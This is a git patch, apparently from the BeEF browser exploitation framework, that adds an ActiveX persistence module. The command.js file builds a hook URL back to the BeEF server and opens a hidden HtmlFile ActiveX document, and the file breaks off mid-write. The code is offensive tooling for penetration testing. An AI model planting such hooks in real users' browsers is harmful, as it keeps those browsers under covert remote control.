From c20ba2a75da9f52740c14f97ae3ffc7e0363678e Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Tue, 21 Feb 2017 14:37:19 +0000 Subject: [PATCH] Add Invisible HTMLFile ActiveX persistence module --- .../invisible_htmlfile_activex/command.js | 28 +++++++++++++++++++ .../invisible_htmlfile_activex/config.yaml | 19 +++++++++++++ .../invisible_htmlfile_activex/module.rb | 10 +++++++ 3 files changed, 57 insertions(+) create mode 100644 modules/persistence/invisible_htmlfile_activex/command.js create mode 100644 modules/persistence/invisible_htmlfile_activex/config.yaml create mode 100644 modules/persistence/invisible_htmlfile_activex/module.rb diff --git a/modules/persistence/invisible_htmlfile_activex/command.js b/modules/persistence/invisible_htmlfile_activex/command.js new file mode 100644 index 000000000..f4eb17edf --- /dev/null +++ b/modules/persistence/invisible_htmlfile_activex/command.js @@ -0,0 +1,28 @@ +// +// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + try { + var hook_url = beef.net.httpproto + '://' + beef.net.host+ ':' + beef.net.port + beef.net.hook; + + // create HMTL document + beef.debug("[Invisible HTMLFile ActiveX] Creating HTMLFile ActiveX object"); + doc = new ActiveXObject("HtmlFile"); + doc.open(); + doc.write('